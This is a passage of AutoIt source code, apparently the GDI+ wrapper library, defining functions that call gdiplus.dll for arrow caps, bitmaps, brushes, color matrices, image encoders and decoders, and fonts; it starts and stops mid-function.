"FullName")) Return 0 Else Return 1 EndIf EndFunc #EndRegion Internal Functions Global $__g_hgdipbrush = 0 Global $__g_hgdipdll = 0 Global $__g_hgdippen = 0 Global $__g_igdipref = 0 Global $__g_igdiptoken = 0 Global $__g_bgdip_v1_0 = True Func _gdiplus_arrowcapcreate($fheight, $fwidth, $bfilled = True) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateAdjustableArrowCap", "float", $fheight, "float", $fwidth, "bool", $bfilled, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_arrowcapdispose($hcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteCustomLineCap", "handle", $hcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_arrowcapgetfillstate($harrowcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetAdjustableArrowCapFillState", "handle", $harrowcap, "bool*", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_arrowcapgetheight($harrowcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetAdjustableArrowCapHeight", "handle", $harrowcap, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_arrowcapgetmiddleinset($harrowcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetAdjustableArrowCapMiddleInset", "handle", $harrowcap, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_arrowcapgetwidth($harrowcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetAdjustableArrowCapWidth", "handle", $harrowcap, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_arrowcapsetfillstate($harrowcap, $bfilled = True) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetAdjustableArrowCapFillState", "handle", $harrowcap, "bool", $bfilled) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_arrowcapsetheight($harrowcap, $fheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetAdjustableArrowCapHeight", "handle", $harrowcap, "float", $fheight) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_arrowcapsetmiddleinset($harrowcap, $finset) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetAdjustableArrowCapMiddleInset", "handle", $harrowcap, "float", $finset) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_arrowcapsetwidth($harrowcap, $fwidth) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetAdjustableArrowCapWidth", "handle", $harrowcap, "float", $fwidth) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapclonearea($hbitmap, $nleft, $ntop, $nwidth, $nheight, $iformat = 137224) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCloneBitmapArea", "float", $nleft, "float", $ntop, "float", $nwidth, "float", $nheight, "int", $iformat, "handle", $hbitmap, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[7] EndFunc Func _gdiplus_bitmapcreatedibfrombitmap($hbitmap) Local $aret = DllCall($__g_hgdipdll, "uint", "GdipGetImageDimension", "handle", $hbitmap, "float*", 0, "float*", 0) If @error OR $aret[0] Then Return SetError(@error + 10, $aret[0], 0) Local $tdata = _gdiplus_bitmaplockbits($hbitmap, 0, 0, $aret[2], $aret[3], $gdip_ilmread, $gdip_pxf32argb) Local $pbits = DllStructGetData($tdata, "Scan0") If NOT $pbits Then Return 0 Local $tbihdr = DllStructCreate($tagbitmapv5header) DllStructSetData($tbihdr, "bV5Size", DllStructGetSize($tbihdr)) DllStructSetData($tbihdr, "bV5Width", $aret[2]) DllStructSetData($tbihdr, "bV5Height", $aret[3]) DllStructSetData($tbihdr, "bV5Planes", 1) DllStructSetData($tbihdr, "bV5BitCount", 32) DllStructSetData($tbihdr, "bV5Compression", 0) DllStructSetData($tbihdr, "bV5SizeImage", $aret[3] * DllStructGetData($tdata, "Stride")) DllStructSetData($tbihdr, "bV5AlphaMask", -16777216) DllStructSetData($tbihdr, "bV5RedMask", 16711680) DllStructSetData($tbihdr, "bV5GreenMask", 65280) DllStructSetData($tbihdr, "bV5BlueMask", 255) DllStructSetData($tbihdr, "bV5CSType", 2) DllStructSetData($tbihdr, "bV5Intent", 4) Local $hhbitmapv5 = DllCall("gdi32.dll", "ptr", "CreateDIBSection", "hwnd", 0, "struct*", $tbihdr, "uint", 0, "ptr*", 0, "ptr", 0, "dword", 0) If NOT @error AND $hhbitmapv5[0] Then DllCall("gdi32.dll", "dword", "SetBitmapBits", "ptr", $hhbitmapv5[0], "dword", $aret[2] * $aret[3] * 4, "ptr", DllStructGetData($tdata, "Scan0")) $hhbitmapv5 = $hhbitmapv5[0] Else $hhbitmapv5 = 0 EndIf _gdiplus_bitmapunlockbits($hbitmap, $tdata) $tdata = 0 $tbihdr = 0 Return $hhbitmapv5 EndFunc Func _gdiplus_bitmapcreatefromfile($sfilename) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromFile", "wstr", $sfilename, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_bitmapcreatefromgraphics($iwidth, $iheight, $hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromGraphics", "int", $iwidth, "int", $iheight, "handle", $hgraphics, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_bitmapcreatefromhbitmap($hbitmap, $hpal = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromHBITMAP", "handle", $hbitmap, "handle", $hpal, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_bitmapcreatefrommemory($dimage, $bhbitmap = False) If NOT IsBinary($dimage) Then Return SetError(1, 0, 0) Local $aresult = 0 Local Const $dmembitmap = Binary($dimage) Local Const $ilen = BinaryLen($dmembitmap) Local Const $gmem_moveable = 2 $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $gmem_moveable, "ulong_ptr", $ilen) If @error Then Return SetError(4, 0, 0) Local Const $hdata = $aresult[0] $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hdata) If @error Then Return SetError(5, 0, 0) Local $tmem = DllStructCreate("byte[" & $ilen & "]", $aresult[0]) DllStructSetData($tmem, 1, $dmembitmap) DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hdata) If @error Then Return SetError(6, 0, 0) Local Const $hstream = _winapi_createstreamonhglobal($hdata) If @error Then Return SetError(2, 0, 0) Local Const $hbitmap = _gdiplus_bitmapcreatefromstream($hstream) If @error Then Return SetError(3, 0, 0) DllCall("oleaut32.dll", "long", "DispCallFunc", "ptr", $hstream, "ulong_ptr", 8 * (1 + @AutoItX64), "uint", 4, "ushort", 23, "uint", 0, "ptr", 0, "ptr", 0, "str", "") If $bhbitmap Then Local Const $hhbmp = _gdiplus_bitmapcreatedibfrombitmap($hbitmap) _gdiplus_bitmapdispose($hbitmap) Return $hhbmp EndIf Return $hbitmap EndFunc Func _gdiplus_bitmapcreatefromresource($hinst, $vresourcename) Local $stype = "int" If IsString($vresourcename) Then $stype = "wstr" Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromResource", "handle", $hinst, $stype, $vresourcename, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_bitmapcreatefromscan0($iwidth, $iheight, $ipixelformat = $gdip_pxf32argb, $istride = 0, $pscan0 = 0) Local $aresult = DllCall($__g_hgdipdll, "uint", "GdipCreateBitmapFromScan0", "int", $iwidth, "int", $iheight, "int", $istride, "int", $ipixelformat, "struct*", $pscan0, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[6] EndFunc Func _gdiplus_bitmapcreatefromstream($pstream) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromStream", "ptr", $pstream, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_bitmapcreatehbitmapfrombitmap($hbitmap, $iargb = -16777216) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateHBITMAPFromBitmap", "handle", $hbitmap, "handle*", 0, "dword", $iargb) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_bitmapdispose($hbitmap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDisposeImage", "handle", $hbitmap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapcreatefromhicon($hicon) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateBitmapFromHICON", "handle", $hicon, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_bitmapcreatefromhicon32($hicon) Local $tsize = _winapi_geticondimension($hicon) Local $iwidth = DllStructGetData($tsize, "X") Local $iheight = DllStructGetData($tsize, "Y") If $iwidth <= 0 OR $iheight <= 0 Then Return SetError(10, -1, 0) Local $tbitmapinfo = DllStructCreate("dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;dword RGBQuad") DllStructSetData($tbitmapinfo, "Size", DllStructGetSize($tbitmapinfo) - 4) DllStructSetData($tbitmapinfo, "Width", $iwidth) DllStructSetData($tbitmapinfo, "Height", -$iheight) DllStructSetData($tbitmapinfo, "Planes", 1) DllStructSetData($tbitmapinfo, "BitCount", 32) DllStructSetData($tbitmapinfo, "Compression", 0) DllStructSetData($tbitmapinfo, "SizeImage", 0) Local $hdc = _winapi_createcompatibledc(0) Local $pbits Local $hbmp = _winapi_createdibsection(0, $tbitmapinfo, 0, $pbits) Local $horig = _winapi_selectobject($hdc, $hbmp) _winapi_drawiconex($hdc, 0, 0, $hicon, $iwidth, $iheight) Local $hbitmapicon = _gdiplus_bitmapcreatefromscan0($iwidth, $iheight, $gdip_pxf32argb, $iwidth * 4, $pbits) Local $hbitmap = _gdiplus_bitmapcreatefromscan0($iwidth, $iheight) Local $hcontext = _gdiplus_imagegetgraphicscontext($hbitmap) _gdiplus_graphicsdrawimage($hcontext, $hbitmapicon, 0, 0) _gdiplus_graphicsdispose($hcontext) _gdiplus_bitmapdispose($hbitmapicon) _winapi_selectobject($hdc, $horig) _winapi_deletedc($hdc) _winapi_deleteobject($hbmp) Return $hbitmap EndFunc Func _gdiplus_bitmapgetpixel($hbitmap, $ix, $iy) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapGetPixel", "handle", $hbitmap, "int", $ix, "int", $iy, "uint*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_bitmaplockbits($hbitmap, $ileft, $itop, $iwidth, $iheight, $iflags = $gdip_ilmread, $iformat = $gdip_pxf32rgb) Local $tdata = DllStructCreate($taggdipbitmapdata) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, "Left", $ileft) DllStructSetData($trect, "Top", $itop) DllStructSetData($trect, "Right", $iwidth) DllStructSetData($trect, "Bottom", $iheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapLockBits", "handle", $hbitmap, "struct*", $trect, "uint", $iflags, "int", $iformat, "struct*", $tdata) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $tdata EndFunc Func _gdiplus_bitmapsetpixel($hbitmap, $ix, $iy, $iargb) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapSetPixel", "handle", $hbitmap, "int", $ix, "int", $iy, "uint", $iargb) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_bitmapunlockbits($hbitmap, $tbitmapdata) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipBitmapUnlockBits", "handle", $hbitmap, "struct*", $tbitmapdata) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_brushclone($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCloneBrush", "handle", $hbrush, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_brushcreatesolid($iargb = -16777216) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateSolidFill", "int", $iargb, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_brushdispose($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteBrush", "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_brushgetsolidcolor($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetSolidFillColor", "handle", $hbrush, "dword*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_brushgettype($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetBrushType", "handle", $hbrush, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_brushsetsolidcolor($hbrush, $iargb = -16777216) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetSolidFillColor", "handle", $hbrush, "dword", $iargb) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_colormatrixcreate() Return _gdiplus_colormatrixcreatescale(1, 1, 1, 1) EndFunc Func _gdiplus_colormatrixcreategrayscale() Local $ii, $ij, $tcm, $alums[4] = [$gdip_rlum, $gdip_glum, $gdip_blum, 0] $tcm = DllStructCreate($taggdipcolormatrix) For $ii = 0 To 3 For $ij = 1 To 3 DllStructSetData($tcm, "m", $alums[$ii], $ii * 5 + $ij) Next Next DllStructSetData($tcm, "m", 1, 19) DllStructSetData($tcm, "m", 1, 25) Return $tcm EndFunc Func _gdiplus_colormatrixcreatenegative() Local $ii, $tcm $tcm = _gdiplus_colormatrixcreatescale(-1, -1, -1, 1) For $ii = 1 To 4 DllStructSetData($tcm, "m", 1, 20 + $ii) Next Return $tcm EndFunc Func _gdiplus_colormatrixcreatesaturation($fsat) Local $fsatcomp, $tcm $tcm = DllStructCreate($taggdipcolormatrix) $fsatcomp = (1 - $fsat) DllStructSetData($tcm, "m", $fsatcomp * $gdip_rlum + $fsat, 1) DllStructSetData($tcm, "m", $fsatcomp * $gdip_rlum, 2) DllStructSetData($tcm, "m", $fsatcomp * $gdip_rlum, 3) DllStructSetData($tcm, "m", $fsatcomp * $gdip_glum, 6) DllStructSetData($tcm, "m", $fsatcomp * $gdip_glum + $fsat, 7) DllStructSetData($tcm, "m", $fsatcomp * $gdip_glum, 8) DllStructSetData($tcm, "m", $fsatcomp * $gdip_blum, 11) DllStructSetData($tcm, "m", $fsatcomp * $gdip_blum, 12) DllStructSetData($tcm, "m", $fsatcomp * $gdip_blum + $fsat, 13) DllStructSetData($tcm, "m", 1, 19) DllStructSetData($tcm, "m", 1, 25) Return $tcm EndFunc Func _gdiplus_colormatrixcreatescale($fred, $fgreen, $fblue, $falpha = 1) Local $tcm $tcm = DllStructCreate($taggdipcolormatrix) DllStructSetData($tcm, "m", $fred, 1) DllStructSetData($tcm, "m", $fgreen, 7) DllStructSetData($tcm, "m", $fblue, 13) DllStructSetData($tcm, "m", $falpha, 19) DllStructSetData($tcm, "m", 1, 25) Return $tcm EndFunc Func _gdiplus_colormatrixcreatetranslate($fred, $fgreen, $fblue, $falpha = 0) Local $ii, $tcm, $afactors[4] = [$fred, $fgreen, $fblue, $falpha] $tcm = _gdiplus_colormatrixcreate() For $ii = 0 To 3 DllStructSetData($tcm, "m", $afactors[$ii], 21 + $ii) Next Return $tcm EndFunc Func _gdiplus_customlinecapclone($hcustomlinecap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCloneCustomLineCap", "handle", $hcustomlinecap, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_customlinecapcreate($hpathfill, $hpathstroke, $ilinecap = 0, $nbaseinset = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateCustomLineCap", "handle", $hpathfill, "handle", $hpathstroke, "int", $ilinecap, "float", $nbaseinset, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[5] EndFunc Func _gdiplus_customlinecapdispose($hcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteCustomLineCap", "handle", $hcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_customlinecapgetstrokecaps($hcustomlinecap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetCustomLineCapStrokeCaps", "hwnd", $hcustomlinecap, "ptr*", 0, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then SetError(10, $aresult[0], 0) Local $acaps[2] $acaps[0] = $aresult[2] $acaps[1] = $aresult[3] Return $acaps EndFunc Func _gdiplus_customlinecapsetstrokecaps($hcustomlinecap, $istartcap, $iendcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetCustomLineCapStrokeCaps", "handle", $hcustomlinecap, "int", $istartcap, "int", $iendcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_decoders() Local $icount = _gdiplus_decodersgetcount() Local $isize = _gdiplus_decodersgetsize() Local $tbuffer = DllStructCreate("byte[" & $isize & "]") Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageDecoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Local $pbuffer = DllStructGetPtr($tbuffer) Local $tcodec, $ainfo[$icount + 1][14] $ainfo[0][0] = $icount For $ii = 1 To $icount $tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer) $ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID")) $ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID")) $ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName")) $ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName")) $ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc")) $ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt")) $ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType")) $ainfo[$ii][8] = DllStructGetData($tcodec, "Flags") $ainfo[$ii][9] = DllStructGetData($tcodec, "Version") $ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount") $ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize") $ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern") $ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask") $pbuffer += DllStructGetSize($tcodec) Next Return $ainfo EndFunc Func _gdiplus_decodersgetcount() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageDecodersSize", "uint*", 0, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[1] EndFunc Func _gdiplus_decodersgetsize() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageDecodersSize", "uint*", 0, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_drawimagepoints($hgraphic, $himage, $nulx, $nuly, $nurx, $nury, $nllx, $nlly, $icount = 3) Local $tpoint = DllStructCreate("float X;float Y;float X2;float Y2;float X3;float Y3") DllStructSetData($tpoint, "X", $nulx) DllStructSetData($tpoint, "Y", $nuly) DllStructSetData($tpoint, "X2", $nurx) DllStructSetData($tpoint, "Y2", $nury) DllStructSetData($tpoint, "X3", $nllx) DllStructSetData($tpoint, "Y3", $nlly) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImagePoints", "handle", $hgraphic, "handle", $himage, "struct*", $tpoint, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_encoders() Local $icount = _gdiplus_encodersgetcount() Local $isize = _gdiplus_encodersgetsize() Local $tbuffer = DllStructCreate("byte[" & $isize & "]") Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageEncoders", "uint", $icount, "uint", $isize, "struct*", $tbuffer) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Local $pbuffer = DllStructGetPtr($tbuffer) Local $tcodec, $ainfo[$icount + 1][14] $ainfo[0][0] = $icount For $ii = 1 To $icount $tcodec = DllStructCreate($taggdipimagecodecinfo, $pbuffer) $ainfo[$ii][1] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "CLSID")) $ainfo[$ii][2] = _winapi_stringfromguid(DllStructGetPtr($tcodec, "FormatID")) $ainfo[$ii][3] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "CodecName")) $ainfo[$ii][4] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "DllName")) $ainfo[$ii][5] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FormatDesc")) $ainfo[$ii][6] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "FileExt")) $ainfo[$ii][7] = _winapi_widechartomultibyte(DllStructGetData($tcodec, "MimeType")) $ainfo[$ii][8] = DllStructGetData($tcodec, "Flags") $ainfo[$ii][9] = DllStructGetData($tcodec, "Version") $ainfo[$ii][10] = DllStructGetData($tcodec, "SigCount") $ainfo[$ii][11] = DllStructGetData($tcodec, "SigSize") $ainfo[$ii][12] = DllStructGetData($tcodec, "SigPattern") $ainfo[$ii][13] = DllStructGetData($tcodec, "SigMask") $pbuffer += DllStructGetSize($tcodec) Next Return $ainfo EndFunc Func _gdiplus_encodersgetclsid($sfileextension) Local $aencoders = _gdiplus_encoders() If @error Then Return SetError(@error, 0, "") For $ii = 1 To $aencoders[0][0] If StringInStr($aencoders[$ii][6], "*." & $sfileextension) > 0 Then Return $aencoders[$ii][1] Next Return SetError(-1, -1, "") EndFunc Func _gdiplus_encodersgetcount() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[1] EndFunc Func _gdiplus_encodersgetparamlist($himage, $sencoder) Local $isize = _gdiplus_encodersgetparamlistsize($himage, $sencoder) If @error Then Return SetError(@error + 10, @extended, 0) Local $tguid = _winapi_guidfromstring($sencoder) Local $iremainingsize = $isize - 4 - _gdiplus_paramsize() Local $tbuffer If $iremainingsize Then $tbuffer = DllStructCreate("dword Count;" & $taggdipencoderparam & ";byte [" & $iremainingsize & "]") Else $tbuffer = DllStructCreate("dword Count;" & $taggdipencoderparam) EndIf Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetEncoderParameterList", "handle", $himage, "struct*", $tguid, "uint", $isize, "struct*", $tbuffer) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $tbuffer EndFunc Func _gdiplus_encodersgetparamlistsize($himage, $sencoder) Local $tguid = _winapi_guidfromstring($sencoder) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetEncoderParameterListSize", "handle", $himage, "struct*", $tguid, "uint*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_encodersgetsize() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageEncodersSize", "uint*", 0, "uint*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_fontcreate($hfamily, $fsize, $istyle = 0, $iunit = 3) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateFont", "handle", $hfamily, "float", $fsize, "int", $istyle, "int", $iunit, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[5] EndFunc Func _gdiplus_fontdispose($hfont) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteFont", "handle", $hfont) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_fontfamilycreate($sfamily, $pcollection = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateFontFamilyFromName", "wstr", $sfamily, "ptr", $pcollection, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontfamilycreatefromcollection($sfontname, $hfontcollection) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateFontFamilyFromName", "wstr", $sfontname, "ptr", $hfontcollection, "ptr*", 0) If @error Then Return SetError(@error, @extended, "") If $aresult[0] Then Return SetError(10, $aresult[0], "") Return $aresult[3] EndFunc Func _gdiplus_fontfamilydispose($hfamily) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteFontFamily", "handle", $hfamily) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_fontfamilygetcellascent($hfontfamily, $istyle = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetCellAscent", "handle", $hfontfamily, "int", $istyle, "ushort*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontfamilygetcelldescent($hfontfamily, $istyle = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetCellDescent", "handle", $hfontfamily, "int", $istyle, "ushort*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontfamilygetemheight($hfontfamily, $istyle = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetEmHeight", "handle", $hfontfamily, "int", $istyle, "ushort*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontfamilygetlinespacing($hfontfamily, $istyle = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetLineSpacing", "handle", $hfontfamily, "int", $istyle, "ushort*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontgetheight($hfont, $hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetFontHeight", "handle", $hfont, "handle", $hgraphics, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_fontprivateaddfont($hfontcollection, $sfontfile) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPrivateAddFontFile", "ptr", $hfontcollection, "wstr", $sfontfile) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_fontprivateaddmemoryfont($hfontcollection, $tfont) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPrivateAddMemoryFont", "handle", $hfontcollection, "struct*", $tfont, "int", DllStructGetSize($tfont)) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_fontprivatecollectiondispose($hfontcollection) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeletePrivateFontCollection", "handle*", $hfontcollection) If @error Then Return 